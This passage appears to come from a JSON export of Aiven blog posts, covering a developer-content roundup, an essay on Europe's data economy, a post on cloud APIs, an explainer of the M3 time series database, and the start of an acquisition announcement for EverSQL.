PostgreSQL free tier](https://console.aiven.io/signup). \n- [Add caching to your PostgreSQL® app using Redis®*](https://aiven.io/developer/add-caching-to-pg-with-redis): A great tutorial for beginners and students, learn how to use Redis as a caching layer for a web application that uses PostgreSQL as a backend. This tutorial also works perfectly with our [free tier](https://console.aiven.io/signup)! \n- [Create a Spring Boot application with a MySQL backend](https://aiven.io/developer/create-a-spring-boot-application-with-a-mysql-backend): Spring Boot is one of the most popular application frameworks out there, making it easy to build complex application backends. Learn how to use MySQL as a backend for a simple application! \n- [Migrate a MySQL database from one cloud to another](https://aiven.io/developer/migrate-a-mysql-database-to-a-new-cloud-provider): Learn how to migrate a MySQL database from one cloud provider to another, and update versions in the process. We like doing this using the [Aiven console](https://console.aiven.io) and its built-in migration tooling! Of course, this also works with the new Aiven free tier as well.\n\n\n---- \n\nAiven publishes new content about open source databases and streaming to our [Developer Center](https://aiven.io/developer) regularly. You can sign up for the [Aiven free tier](https://console.aiven.io) to try out many of the tutorials there and Aiven as a whole.\n\nTake a look at our [documentation](https://docs.aiven.io/) for more on our products, read our [case studies](https://aiven.io/case-studies) to see customers using Aiven in practice, and check our [events](https://aiven.io/events) for more content from the Aiven team! You can also interact with us on our [community forum](https://aiven.io/community/forum/)!\n","categories":[{"_key":"5752c56fe901","_ref":"2vw3G7QzI7VENTWVzT0PMh","_type":"reference"}],"internalBlogProcess":"technical","mainImage":{"_type":"mainImage","alt":"June 2023: what's new on the Developer Center","asset":{"_ref":"image-702d2ac07695feb8eb4ca077b5daf3d797e73f01-1567x844-png","_type":"reference"}},"publishedAt":"2023-06-29T08:29:47.192Z","related":[{"_key":"4b7fb60d3ae0","_ref":"a994f8fb-2ada-45d0-a99e-8b8d7d11d15b","_type":"reference"},{"_key":"08bcc98d45d7","_ref":"04de65a3-9096-49e0-a7b2-5fafc4d0f7d5","_type":"reference"}],"seo":{"_type":"metaData","metaDescription":"Aiven Developer Center – Discover the latest updates, new resources and interesting tools for developers. Stay connected and optimize your workflows!","metaImage":{"_type":"mainImage","asset":{"_ref":"image-702d2ac07695feb8eb4ca077b5daf3d797e73f01-1567x844-png","_type":"reference"}}},"slug":{"_type":"slug","current":"/blog/whats-new-on-the-aiven-developer-center-june-2023"},"subtitle":"MySQL migration, caching with PostgreSQL® and Redis®*, pgvector for PostgreSQL® and more!","title":"What's new on the Aiven Developer Center: June 2023"} {"__i18n_lang":"en","_createdAt":"2024-11-18T13:40:49Z","_id":"ed060249-9434-471e-aa59-4802e435a290","_rev":"z6O0WKqj7P4UUyWBpxBlKW","_type":"post","_updatedAt":"2024-12-03T15:10:25Z","authors":[{"_key":"55900f924c14","_ref":"3dImkQse2fXRL7zTLzAoa1","_type":"reference"}],"body":"::youtube[What is the data economy and why is it important]{#ZRrHKwjo6i0}\nBy all accounts, Europe is expected to land a lottery jackpot next year. Indeed, according to the [European Commission](https://impact.economist.com/perspectives/sites/default/files/ei233_msft_futuredata_report_-_v7.pdf), the region is tipped to be almost one trillion Euros (EUR 829 billion) better off on account of the growth in the data economy.\n\nAt a time when we’re surrounded by uncertainty and conflict, and with the threat of recession stubbornly hanging over the region, it’s also a moment that raises several important questions as we head into 2025.\n\nNot least, are we extracting as much potential from the data economy as possible? Is one trillion Euros enough and, assuming it’s not, what can be done to extract more value in the years to come?\n\n## Create better businesses, services and lives\nFirst things first. It’s important to make clear what the data economy is. Definitions vary but according to Miika Huttunen, founder of conversational AI start-up, and one of our [Aiven Cluster startup program](https://aiven.io/cluster) participants, [Realm](https://www.withrealm.com/), it means *“collecting and using data to derive benefits at both a company and society level.”* Essentially, doing more with data to create better businesses, services, and lives.\n\nThe fact that data is playing such an important and increasingly influential role in our lives can be measured by how far and how fast the value of the data economy has grown. Only two years ago it was [suggested](https://www.consultancy.uk/news/32191/europes-data-economies-worth-550-billion-by-2025) its value - also by 2025 - would be worth a mere EUR 550 billion. The fact that in only two years we’ve seen the projected value of the data economy increase by a third tells you all you need to know.\n\nIf we extrapolate beyond 2025, the figures become potentially mind-boggling. Yet that is the direction of travel.\n\n## A priority for both businesses and governments\nCapitalizing on the data economy is a major priority for both businesses and governments. There are any number of papers on the internet championing how various nations intend to go about doing this. Most initiatives include; creating a strong data infrastructure, having a high level of regulatory compliance, developing a data-literate workforce, and increasing the number of people with advanced data skills. And, of course, funds and bursaries for data-oriented start-ups entering the economy.\n\nIt was a point made clear by Luca Eisenstecken, partner at investment firm, [Atomico](https://atomico.com/). In a recent conversation, he said, *“The data economy is, at this time, almost a proxy for the whole economy. The vast majority of market participants have either transformed themselves into data driven businesses already or they're thinking about how to do that.”*\n\n## More to come from the data economy\nWhen you consider the benefits that can be unlocked with data, it’s not hard to see how it is such a valuable economy and why everyone involved is so Hell-bent on pushing it to the maximum. Data is the key to understanding what’s working and what’s not. It informs where to invest, how much and how quickly. It provides a barometer of measurement and progress. And, perhaps most importantly, it's the basis for creating a self-fulfilling cycle of improvement.\n\nIt has enabled us to move from ‘trial and error’ to ‘build and evolve’ and we’re all feeling the benefit. Yet a quick glance around your life will just as quickly point to areas where we’ve barely scratched the surface of the potential of data. The UK National Health Service (NHS) is a prime example. The [recent Dazi report](https://gmfed.org/nhs-technology-is-15-years-behind-private-sector/) claimed it is 15 years behind the private sector in its use of technology. If the NHS was fully digitized, that would probably double the value of the UK’s data economy overnight - we can but dream.\n\nThe overriding point being that there is so much more to come from the data economy.\n\n## The blessing and curse of too much data\nBut this will not be without challenge. The fact that data is such an abundant resource is both a blessing and a curse. As entrants to the data economy go from single-focus start-ups to enterprise, they risk losing control over their data. This puts data outputs in jeopardy and can lead to increased workloads as work is siloed or repeated. \n\nSolving, or at least preventing, this isn’t quick but it is relatively simple. As easy as it is to be seduced by data and the opportunities it brings, players in the data economy must also put the effort into building the infrastructure around data. This means pipelines, storage and measurement. There’s little point in having a wonderful new kitchen if your house has no walls. \n\nThis should be the focus from day one. The more this is retrofitted, the harder it will be. Again, look no further than the NHS.\n\n## One trillion Euros starting block\nOne trillion Euros feels like the finishing line but it’s not. As far as the data economy is concerned, Europe has barely left the starting blocks. And that’s a good thing because it means there is so much more to come.\n\nAs we head into 2025, there is a huge, and mostly untapped, opportunity to exploit data in a privacy-friendly way that makes all our lives better and that is the jackpot we want.","mainImage":{"_type":"mainImage","asset":{"_ref":"image-85b5721ee9ee1535a7de44ea499544030edcabd4-1200x630-png","_type":"reference"}},"publishedAt":"2024-11-20T10:41:09.020Z","seo":{"_type":"metaData","metaDescription":"According to the European Commission the region is projected to be €1 Trillion better off due to the growth in the data economy. But is that going to be enough?","metaImage":{"_type":"mainImage","asset":{"_ref":"image-85b5721ee9ee1535a7de44ea499544030edcabd4-1200x630-png","_type":"reference"}},"metaTitle":"A One Trillion Euro Windfall for Europe in 2025"},"slug":{"_type":"slug","current":"/blog/the-data-economy-a-one-trillion-euro-windfall-for-europe-in-2025"},"subtitle":"The Aiven Data Economy series explores the key drivers of the global data economy, featuring insights from leaders in startups, enterprises, investors, and Aiven experts.","title":"The Data Economy: A One Trillion Euro Windfall for Europe in 2025"} {"__i18n_lang":"en","_createdAt":"2022-11-08T11:53:56Z","_id":"9a3a45e9-76c1-438a-9222-19f024dd7917","_rev":"h4ancfFTuSnQNBSq3JIjLw","_type":"post","_updatedAt":"2024-11-19T11:48:11Z","authors":[{"_key":"f9c67f3dcb82","_ref":"3gXeb4zb5wJU5CvLnVioH","_type":"reference"}],"body":"Truly cloud-native applications compose their platforms from the best components available, ensuring that the needs of the application or platform are met. Typically this includes a compute platform, some data components to move, store and analyze data, some monitoring or observability solutions, and probably additional supporting systems such as identity management.\n\nWhen making the decisions about how to compose the best solution from the available services, it's important to consider not only the current needs, but also the future growth and evolution of the project. At the most basic level, making sure that there are existing integrations available between the components to be used. For companies that anticipate that their needs will change, it may also be possible to anticipate future requirements and include them for consideration.\n\nThe problem arises when a solution is implemented, and a new component is added to the system during its lifetime with no integration route. As always, the unknown unknowns are the worst, and often the most expensive to deal with. If you remember the time when every new phone you bought came with a new custom charger that didn't fit any other devices, you have a good idea of how far-reaching the decision to replace one piece of the puzzle can be. Your new phone now requires you to buy a new car charger, travel charger, headset...\n\nSo what can we do to future-proof our cloud platform decisions, and avoid the problem of new components being incompatible with our existing ecosystem?\n\n## Choose APIs\n\nThe first choice for any connection between two systems is an existing integration or component that is tested and ready for use. Usually this means a minimum amount of time and effort on implementation, and things should Just Work™. Sometimes, those integrations aren't already available between every combination of platforms, or your application may have specific needs that require a bespoke integration.\n\nSuccessful cloud transformation projects consider the future-proofability of their chosen services as well as the current requirements. An extensive (and publicly available) [list of integrations](https://aiven.io/integrations-and-connectors) is usually a good sign of a cloud service that will play nicely with others. With luck, everything you need for now and the rest of the lifetime of your project will be covered by those integrations - or the service will evolve as your needs do.\n\n![image](https://cdn.sanity.io/images/sczeoy4w/production/5077ac90b7a1693c839307ebfd48b38699456e40-1422x710.png)\n\nThis opens the door to third-party extensions, and also gives you the freedom to build integrations that complete your perfect cloud platform. We see customers using our APIs to [automatically provision](https://aiven.io/blog/5-reasons-to-automate-your-data-infrastructure) platforms for development or testing, to power down nonessential systems at weekends to save on cloud bills, and to integrate with their custom CI (continuous integration) and build tooling.\n\nChoosing cloud services with APIs is like buying devices with standard ports and connectors. You can buy a charger from any manufacturer, and you can replace the phone, the headset, the car charger, or any other component without needing to replace them all. Similarly, if there's something new to add to your ecosystem in the future, while your provider may well produce a connector in a timely manner, having the APIs available means you can always integrate things yourself if you need to.\n\n\n## What happens next?\n\nSo, your phone setup is all done, and the next time you need to buy a new charger, or headset, you can do so in confidence the whole thing is still going to work. It's time to make this metaphor a reality, and make a call.\n\nTry these resources next:\n\n- Learn more about [Aiven's API](https://aiven.io/docs/tools/api.html)\n- View the full [API documentation](https://api.aiven.io/doc/)\n- Try the [Aiven API in Postman](https://www.postman.com/aiven-apis)\n\n::banner[Need monitoring? Orchestration? Data integration? Easily integrate Aiven services with your existing infra.]{ctaText=\"Explore all connectors \u0026 integrations\" ctaLink=\"https://aiven.io/integrations-and-connectors\" title=\"The Aiven Platform: for all the integrations you need\" background=\"https://cdn.sanity.io/images/sczeoy4w/production/c446472ea23609664e6c24f8dca7973cd0dc0185-608x608.png\" theme=\"dark\"}\n\n----\n\nTo get the latest news about Aiven and our services, plus a bit of extra around all things open source, [subscribe to our monthly newsletter](https://aiven.io/newsletter)! \n\nIf you just want to find out about our service updates, follow our [changelog](https://aiven.io/changelog). \n\nAre you still looking for a managed data platform? [Head to the Aiven Console to sign up for a free trial!](https://console.aiven.io/signup)\n","categories":[{"_key":"69709dddf011","_ref":"3hq53G6n8APkncElOzXCgv","_type":"reference"},{"_key":"34a865a2f6ff","_ref":"5Ry1OHE6tZ0LKPQxJ9XkJd","_type":"reference"}],"mainImage":{"_type":"mainImage","asset":{"_ref":"image-5a5c32f1a39ade4ceb13bb9114f0edb42790fed0-3133x1688-png","_type":"reference"}},"publishedAt":"2022-11-11T14:25:24.838Z","related":[{"_key":"0a03e804dbbf","_ref":"b5983f68-dc8a-4425-8c63-563319eaa59d","_type":"reference"},{"_key":"21ab696ca690","_ref":"ea1a51d6-8e51-4fb6-ad67-974d76bbc0ed","_type":"reference"},{"_key":"d435b18f23d8","_ref":"a5e83a3d-2ace-4b5c-a9e1-9046a66959ed","_type":"reference"}],"seo":{"_type":"metaData","metaDescription":"Did you know that an API is an important feature to look for when it comes to making cloud purchasing decisions? Visit the Aiven blog to find out why!","metaTitle":"Future-proof your cloud platform with Aiven API"},"slug":{"_type":"slug","current":"/blog/your-cloud-platform-isnt-future-proof-without-an-api"},"subtitle":"An API is an important feature to look for when it comes to making cloud purchasing decisions. Here's why.","title":"Your cloud platform isn't future-proof without an API"} {"__i18n_lang":"en","_createdAt":"2022-06-16T14:05:38Z","_id":"2CXbr629zjZaIp4ylrhkzD","_rev":"0h6e4MYEG0xbOjLBGGeyF8","_type":"post","_updatedAt":"2024-11-28T12:41:24Z","authors":[{"_key":"LFe7wYXE7xFFvwFXOIwwX","_ref":"LFe7wYXE7xFFvwFXOIwwX","_type":"reference"}],"body":"Imagine you were tasked with building an industrial application. This application needs to store measured values from sensors on an assembly floor. Because of strict quality control regulations, you also need to record the data that these sensors collect with time as a key index, so that historical values can be analyzed.\n\nAs your sensors record new stimuli in the real world, you need to be able to continuously add data by appending a new entry (row) to the end of your table. This heavily write-intensive functionality is needed to track the state of your system - or the variables you decide to track - over time.\n\nYou considered using relational databases, e.g. PostgreSQL, but ran into some limitations:\n\n1. Time series data grows quickly, with heavy write loads. Scaling Postgres to fit the load is far from optimal because your ingestion and query performance will degrade massively as you scale — the [TimescaleDB] extension will alleviate some of those issues, but you'll still eventually run into scalability issues due to PostgreSQL’s source / replica model.\n\n2. You need a database with functions tailor-made for managing time series data. For example time functions and _ranges_, _granularities_ (with which to cluster query results), _aggregations_ (to summarize data from a range), and _contextual information_ for managing how queries are run, batched and timed-out on the sort of massive data sets that you now own and control.\n\nWith these requirements in mind, you’ve made the case for a __time series database (TSDB)__. In this piece, we'll briefly explain what a TSDB is and identify its most suitable use cases before diving deeply into __M3__, the distributed time series database, aggregator, and query engine. \n\nWe’ll look at what it is, what it does, how it does it, go through some of its key features, and examine the power of M3’s approach. But first, let’s look at the time series database.\n\n## What is a time series database?\nA time series database is designed to store data as pairs of time(s) and value(s). At its most elementary level, a TSDB pairs timestamps and data points — this provides the precise time the data was recorded.\n\nA TSDB can have multiple time series, with each series consisting of a metric and one or more tags that uniquely identify the metric. A metric can be any specific piece of data that you want to track over time.\n\nTwo common use cases for TSDBs are temperature and stock price monitoring. A time series database provides context for each data point in relation to the others in a continuous flow of data. The time data attached to events like temperature readings or stock prices can be cross-referenced to external events that may have influenced the values.\n\nFor example, a malfunctioning ventilation system may be the root cause of your manufacturing facility’s temperature rising above the upper threshold. Alternatively, a sharp rise in a company’s stock price could coincide with a successful IPO. \n\nStoring time data may not be necessary for databases that store records about unchanging objects, but for monitoring physical or virtual environments with constantly changing parameters, time is an essential variable.\n\nAnother use case is IoT, whose rise in adoption has in part been enabled by new technologies such as TSDBs. However, the number of use cases abound where collecting and tracking data over time is beneficial:\n\n- Monitoring CPUs, virtual machines, memory, and software systems; \n\n- Monitoring physical devices, sensor input, actuator input, and response; \n\n- Business intelligence: tracking key metrics and system/organizational health;\n\n- Monitoring vital/health statistics: tracking the state of the body;\n\n- Asset tracking: fleets, equipment, containers, human resources; \n\n- Energy consumption trends;\n\n- User/customer interaction data;\n\n- Logistics and shipping data.\n\nNow that we know what a time series database is, what makes it uniquely capable to handle time series data, and the kind of use cases it's purpose-built for, we’re ready to check out M3.\n\n## The history of M3DB\nIn the past, as time series applications took in massive amounts of data, some of the original single-node, single-threaded solutions began to come up short, right along with the non-distributed nature of their databases.\n\n[Uber’s version of this story](https://eng.uber.com/m3/) involved [Graphite](https://graphiteapp.org/), which served as their main metrics store. However, Graphite’s poor resilience and lack of replication functionality inevitably led to data loss, and Uber quickly moved away from it as their platform’s needs grew.\n\nUber devised plans for a new platform with fault-tolerant metrics ingestion, storage, and queriability, serving five specific goals:\n\n__1. Improved reliability and scalability:__ to avoid worrying over availability loss or accuracy deterioration.\n\n__2. Cross-data center query results:__ to globally and holistically monitor and control services and infrastructure.\n\n__3. Low latency SLA (service level agreement):__ to ensure dashboards and alert query latency remain interactive, responsive, and reliable.\n\n__4. First-class dimensional “tagged” metrics:__ for the flexible, tagged data model that Prometheus is already known for.\n\n__5. Backward compatibility:__ to guarantee that legacy services emitting [StatsD](https://github.com/etsy/statsd/wiki) and Graphite metrics maintain functionality without interruption.\n\nTo accomplish their goals, Uber realized that they would need to build a solution from scratch and with that, M3 was born. Initially intended to be a distributed Prometheus sidecar, M3 was developed further to overcome Prometheus’s single-node scalability and durability limits, while enabling essential backward compatibility, effectively rendering the company’s once static Prometheus resources now scalable and configurable multi-tenant.\n\nTo that end, M3 included a Prometheus-compatible query engine and supporting framework that could instantly access and store Uber’s billions of back-end metrics. M3 was [open sourced](https://hub.packtpub.com/uber-open-sources-its-large-scale-metrics-platform-m3-for-prometheus/) in 2018 so that the broader development community could benefit from its robust functionality — similar to what SoundCloud did with [Prometheus](https://developers.soundcloud.com/blog/prometheus-monitoring-at-soundcloud) in 2012.\n\n## What is M3 and M3DB?\nM3 is a globally scalable, highly available, open-source distributed metrics platform. Along with horizontal scalability, M3 possesses excellent data compression, resolution (aggregation), and geo-distribution capabilities.\n\nLet’s clear up a bit of confusion — M3 is not just a database. It’s actually a platform that includes a native, distributed time series database (M3DB), an aggregation service, a query engine, and other supporting infrastructure.\n\nM3 has multiple components, but here are the most important ones:\n\n- __M3DB:__ the core storage service. A distributed-by-node time series database. Built in Go, it comes with extensible, scalable storage, and reverse-index time series.\n\n- __M3 Aggregator:__ a metrics-aggregator service, providing stream-based downsampling. Data can be aggregated based on predefined criteria.\n\n- __M3 Coordinator:__ a service coordinating reads and writes between systems and maintaining cluster consensus that can accept multiple formats (e.g. Prometheus, collectd, fluentd, and many more).\n\nM3 integrates out of the box with Prometheus, Graphite, and [Grafana](https://aiven.io/grafana) for metrics and data visualization. So what exactly can M3 _do_?\n\n## What can M3DB do?\nSimply put, M3 as a whole provides the capability to manage multi-dimensional time series data scalably and durably, and to act as the backbone for unlimited metrics capabilities. \n\nHere’s an example of raw time series data being produced by a service. Our measurement unit for the timestamp is in _nanoseconds_ (ns):\n\n![raw time series data table](//cdn.sanity.io/images/sczeoy4w/production/5537ff51910b19c712788618052be002fb1b2f12-3100x1898.png)\n\nWhen indexing by timestamp, there are aggregations and other functions for time series data that are perhaps not found as easily (nor used as efficiently) in relational databases. Time series data, which are appended as records to the end of the table (namespace in M3 parlance) as new data are written, may typically contain a ___timestamp___, some ___metric___, ___label___ and ___value___. Time series databases, like M3DB, are designed to make the best use of this data. \n\nAnd this is how the above data may be stored in M3DB — in this case, timestamped events are being aggregated by metric.\n\n![time series data stored in m3 table](//cdn.sanity.io/images/sczeoy4w/production/c8502d983696beb74e8cf872de89a5174df1f0f0-3100x1401.png)\n\n### The M3DB data model\nTo support the aggregation of time series data, M3 employs a few data modeling concepts, hierarchically:\n\n- __Database:__ Single instance always. This is the highest level in the data model.\n\n- __Namespace(s):__ (_inside Database_)\n - Analogous to a table\n - Time-limited (months’, weeks’, days’ worth of data, for example)\n - Unaggregated or aggregated (at fixed intervals)\n - Queries will use the namespace(s) that best fit them.\n- __Shard(s):__ (_inside Namespace_)\n - Contains arbitrary series\n - Sharded by ID\n - Shards are replicated to a number of nodes based on the replication factor\n- __(Time) series:__ (_inside Shard_)\n - __Buffer:__ Recent data collected in memory (and in write-ahead log never used for reads)\n - __Blocks:__ Immutable data persisted to disk as filesets (per Shard).\n\nUber uses this data architecture and model to process __tens of trillions of metrics per day__, and upwards of hundreds of millions per second with ~20 million aggregated metrics available at any given time. This is way beyond the capabilities of other time series databases or set ups.\n\nTo find out how M3 can process data at this scale, let’s look at how it works.\n\n## How does M3 work?\nM3DB’s storage engine can be best understood “...via the boundary between its in-memory object layout and on-disk representation.” That is to say, memory use plays at least as significant a role in M3’s throughput and performance as does its disk writing mechanism. \n\nHowever, M3DB as a storage layer is just one piece of the M3 architecture. To optimize performance, there are several different node types, provided as discrete components, each with different functions:\n\n![m3 architecture diagram](//cdn.sanity.io/images/sczeoy4w/production/4d25f5b09fe9efa0d54e592b07c1c82fe5489bf6-1600x900.png)\n\nNow, let’s take a closer look at the main components that make up the M3 platform.\n\n## Components of M3\n### M3 Coordinator\nM3 Coordinator is responsible for reads and writes from upstream systems, such as Prometheus, Carbon, InfluxDB, etc to M3DB. It serves as a primary interface to REST API as a sidecar process for Prometheus that allows M3DB to act as a long-term data store.\n\nM3 Coordinator supports both data ingestion (writes to database) and queries (reads from database) with two subsets of itself:\n\n- __m3query:__ a read-only version\n- __m3ingest:__ a write-only version\n\nM3 documentation describes Coordinator as “...a bridge that users can deploy to access the benefits of M3DB such as long-term storage and multi-DC setup with other monitoring systems, such as Prometheus.”\n\nCoordinator gets your data where it needs to be. To get data into long-term storage, you need to decide the granularity with which the data can be displayed in analytics. This is where M3 Aggregator comes into play.\n\n### M3 Aggregator\nM3 Aggregator handles metrics aggregation over time. Based on dynamic rules stored in etcd, it provides stream-based downsampling — decreasing the granularity of your time series data and making it more applicable for analytics functions.\n\nM3 Aggregator runs as a dedicated downsampler, which allows metrics to be stored at different resolutions. While some of M3 Aggregator’s features are found in M3 Coordinator, a dedicated aggregation function that is sharded — as is the case in M3 Aggregator — requires less care to deploy and run in high availability.\n\nM3 Aggregator communicates using [m3msg](https://github.com/m3db/m3msg), a pub-sub mechanism. As a partitioned message queuing, routing, and delivery library, it facilitates high-speed message transmission without the need for disk durability.\n\n### M3DB\nM3DB is where actual data storage takes place. It provides a reverse index and does not have a public API. Instead, it uses an Apache-Thrift based RPC mechanism as its main communication method.\n\nM3DB uses a shard design similar to [Apache Cassandra’s](https://aiven.io/blog/an-introduction-to-apache-cassandra) in that the __shard ID is derived__ by adding the metric’s murmur3 hash to its labels; by default, __shards are assigned__ from a pool of 4096 virtual shards.\n\nThese __shards are mapped__ to real nodes based on the ___replication factor___ (the configured number of nodes to which a shard is to be replicated). The number of shards created is immutable after cluster creation.\n\nM3DB leverages memory, but the actual on-disk storage consists of write-ahead logs (WALs) to represent blocks in memory, and immutable filesets containing the data. The primary unit of long-term storage for M3DB are called filesets. A fileset includes the following file types:\n\n- __Info file:__ Stores metadata about the fileset volume as well as the block time start and size.\n\n- __Summaries file:__ Stores a part of the index file to keep the contents in memory and allows for fast indexing with linear scanning.\n\n- __Index file:__ Stores series metadata, including tags for indexing purposes, and the location of the compressed stream for retrieval purposes.\n\n- __Data file:__ Stores the series compressed data streams.\n\n- __Bloom filter file:__ Stores a bloom filter bitset for all series contained in the filesets.\n\n- __Digests file:__ Stores the digest checksums of the info file, summaries file, index file, data file, and bloom filter for integrity verification.\n\n- __Checkpoint file:__ Stores a digest of the digests file for the purpose of quickly checking if a volume was completed.\n\nFilesets are flushed to the disk once new entries are no longer expected for a particular block, so filesets represent older data, in a sense.\n\nAll M3 components are written entirely in [Go](https://go.dev/) programming language. [M3Query](https://m3db.io/v1.0/docs/how_to/query/), a distributed query engine supporting PromQL and Graphite, with M3QL query language is coming soon, therefore PromQL query language serves as a stand-in for the time being.\n\n## A note on query languages, including PromQL\nM3QL via M3Query is currently under development, but for now, it’s possible to query M3 via REST API using [PromQL](https://prometheus.io/docs/prometheus/latest/querying/basics/) and Graphite. In fact, M3 is already used by many as an extension of Prometheus’s storage capabilities, and as providing a backward-compatible antidote to Graphite’s scaling limitations. \n\n## The power of M3 in summary\nM3 is __fully open source__, with a top-notch developer community and development process. M3 is horizontally scalable via its architecture but consists of components that can easily be co-located or distributed. The M3 platform offers a wide range of features and tooling and is the best all-in-one platform for processing time-series data.\n\nThese features include:\n\n- __Cluster management:__ Out-of-the-box support for multiple clusters, using etcd;\n\n- __Built-in replication:__ Configurable durability for your needs;\n\n- __Customizable consistency:__ Quorum, higher or lower based on your durability SLA;\n\n- __High compression:__ Inspired by Facebook’s Gorilla TSZ compression, configurable as lossless or lossy;\n\n- __Arbitrary Time Precision:__ Available from seconds to nanoseconds; you can also switch precision with any write;\n\n- __Out-of-order writes:__ Handled seamlessly, at least until the block is flushed to the fileset (typically currently writes are time-limited to hours); cold writes to flushed filesets are under development\n\n- __Seamless compatibility:__ With Prometheus, Graphite, and InfluxDB to name a few.\n\n## Aiven for M3\n[M3](https://aiven.io/m3) and M3 Aggregator, are currently available as managed services. Why is this important? Aside from the exponential increase in time series workloads over the past few years, it is the first managed open-source, distributed time series database, thereby unlocking the potential of the use case.\n\nAs with other Aiven services, you don’t need to worry about configuration, management, deployment, or updates with a managed M3 service. You will also have access to a full suite of integrations and industry-leading tooling to ensure cluster reliability and scalability.\n\nM3 has some excellent performance upsides for a managed service. These include a lean memory footprint to avoid bottlenecks, out-of-the box support for multiple clusters, metrics-pipeline optimizations, and as mentioned before, Gorilla TSZ-based compression — [try it out for yourself](https://console.aiven.io/signup).\n\n## Wrapping up\nIn this article, we provided a high-level overview of time series data and why TSDBs are needed and looked at M3 in detail: what it is, what it does, how it does it, went through some of the features, and examined the power of M3’s approach.\n\nAnd lastly, we discussed why we’re offering it as a managed service. Stay tuned and follow our [blog](https://aiven.io/blog) to remain up-to-date. You can also follow our [changelog](https://aiven.io/changelog) RSS feed, or follow us on [Twitter](https://twitter.com/aiven_io) or [LinkedIn](https://www.linkedin.com/company/aiven/).\n\n## Further reading\n\nIf you're thinking about plugging M3 into Grafana, have a look at Lorna Mitchell's post [Metrics and graphs with M3 and Grafana](https://aiven.io/blog/metrics-and-graphs-with-m3-and-grafana \"Aiven blog: Metrics and graphs with M3 and Grafana\")\n\n[![Time-series-microsite-promo-banner](//cdn.sanity.io/images/sczeoy4w/production/87a0beff0e573475a21a5f66ba0b04aac86121fd-3333x981.jpg)](https://aiven.io/time-series-databases)","categories":[{"_key":"oYj5ZpGrJSISGkb52BoVg","_ref":"oYj5ZpGrJSISGkb52BoVg","_type":"reference"},{"_key":"2vw3G7QzI7VENTWVzT0PMh","_ref":"2vw3G7QzI7VENTWVzT0PMh","_type":"reference"},{"_key":"6jjlGcMpx0GJyFCwYDXTGu","_ref":"6jjlGcMpx0GJyFCwYDXTGu","_type":"reference"},{"_key":"3RInNwDlIfGT91IDLKEgDC","_ref":"3RInNwDlIfGT91IDLKEgDC","_type":"reference"}],"mainImage":{"alt":"","asset":{"_ref":"image-f627adc2c95dc69241a0dc02ad66d9330db271bc-1567x844-png","_type":"reference"}},"publishedAt":"2020-09-09T00:00:00.000Z","seo":{"_type":"metaData","metaDescription":"M3DB holds great promise for time series use cases. We lay out the reasons why in this deep dive into the open-source time series database.","metaImage":{"alt":"","asset":{"_ref":"image-f627adc2c95dc69241a0dc02ad66d9330db271bc-1567x844-png","_type":"reference"}},"metaTitle":"The power of Aiven for M3 – Discover the benefits now"},"slug":{"_type":"slug","current":"/blog/an-introduction-to-m3"},"subtitle":"Take a closer look at Aiven for M3, and discover the easy way to get more from time series data.","title":"What is M3DB?"} {"__i18n_lang":"en","_createdAt":"2023-11-21T13:40:45Z","_id":"af003bf7-aba3-434b-ade1-570f947699e1","_rev":"T130WEs22RB6SoEkO93G5a","_type":"post","_updatedAt":"2024-11-18T10:56:51Z","authors":[{"_key":"bfb3613f6999","_ref":"7JA4OvuGiIBppdAjKtCxYN","_type":"reference"}],"body":"*I am delighted to announce we have acquired EverSQL, a leader in the database optimization space. EverSQL’s software uses AI to give companies automated and personalized insights into how to fine tune their databases for better performance and cost, and will soon be integrated into the Aiven platform. Our new relationship with EverSQL underscores our commitment to helping customers focus on innovation by continually reducing their management burden.*\n\n\n \n### Data-centric applications bring business value ###\n\nToday’s world is driven by data. Businesses rely on it to make decisions, understand their customers’ behaviors and optimize their operations. Data volumes are growing exponentially. Data has become increasingly distributed and tools used to manage the data have proliferated. As companies scale operations, add more data sources or integrate new systems, the data infrastructure continues to get more complex. This has become a big management challenge for companies, as it takes away important resources – people and money – from developing applications that bring business value and ultimately create market differentiation.\n\n \n### Removing the data infrastructure management burden ###\n\nAiven’s mission is to take the pain and effort out of managing the infrastructure, so that companies can focus on innovation. We’re always striving to make it as easy as possible for customers to capture more value from their use of open source technologies, and to improve the service we provide. That’s why we’re exploring different ways AI can be applied to our platform – to make our customers’ data ecosystems even more cost and resource efficient.\n\n \n### EverSQL’s AI-powered software automates database performance analysis ###\n\nAs part of these efforts, we’re excited to announce the acquisition of EverSQL, a leader in database optimization. EverSQL is inspired by the same goal as Aiven – to free up time for innovation by simplifying data management and optimization. Integrating EverSQL’s AI-powered optimization engine into Aiven’s open source platform means that Aiven customers will benefit from automated, personalized and actionable insights to help fine-tune their data architecture.\n \nEverSQL was established in 2019 by Oded Valin and Tomer Shay. They recognized that, as the volume of data expands, performance and cost issues arise, which requires time-consuming effort to identify, troubleshoot and optimize the data environment. Their mission was to speed up applications by transforming and automating database performance analysis, thereby allowing software engineers to focus on innovation. \n\nEverSQL has grown quickly in popularity and is now a leader in the optimization space for a range of technologies like PostgreSQL® and MySQL®, with more than 100,000 software engineers in 90 countries using the AI-powered solution to optimize their workloads. \n\n\n### EverSQL’s AI-powered engine brings new optimization capabilities to the Aiven platform ###\n\nBy joining efforts with EverSQL, we’re enhancing the Aiven data platform with AI, accelerating our innovation in the AI space and building a new team focused on AI optimizations.\n \nIn the first half of 2024, we will offer customers several new features that deploy EverSQL’s AI-powered engine, including query optimizations and index recommendations. We will expand our capabilities later in the year to include monitoring and alerting, supported by automatically generated optimization insights that are quick and easy to understand and implement. These features will initially be available for Aiven for PostgreSQL® and Aiven for MySQL®. We will then extend them to other services across our platform so customers can optimize their whole workload according to their price-performance requirements.\n\n \n### Collectively delivering more value to our customers ### \n\nWe are pleased to welcome the talented EverSQL team to Aiven. The combination of EverSQL’s industry-leading, AI-powered database optimization tool and Aiven’s open source cloud data platform is a compelling and unique offering for businesses of all kinds. It will help them navigate the evolving demands of a dynamic data environment and unlock the potential of their organization’s data ecosystem. We’re excited to work together to provide increased support, value and capability to our combined customer base.\n \nIf you’re curious about all the exciting capabilities we will be adding onto our platform, you can already explore EverSQL services on [eversql.com](https://www.eversql.com/) and use code ‘EverSQL-Aiven-Gift’ at checkout to receive a free month on EverSQL's Starter or Plus plans, worth $500. \n\nStay tuned for further updates!","categories":[{"_key":"38bc2da9200a","_ref":"ksykM2RWxnnen4wmbNFR6","_type":"reference"}],"mainImage":{"_type":"mainImage","alt":"Aiven acquires EverSQL","asset":{"_ref":"image-c1fe7c8e0d4945c1ffdda7582652c8e3166b070c-1200x628-png","_type":"reference"}},"publishedAt":"2023-11-21T14:00:46.242Z","seo":{"_type":"metaData","metaDescription":"Integration of 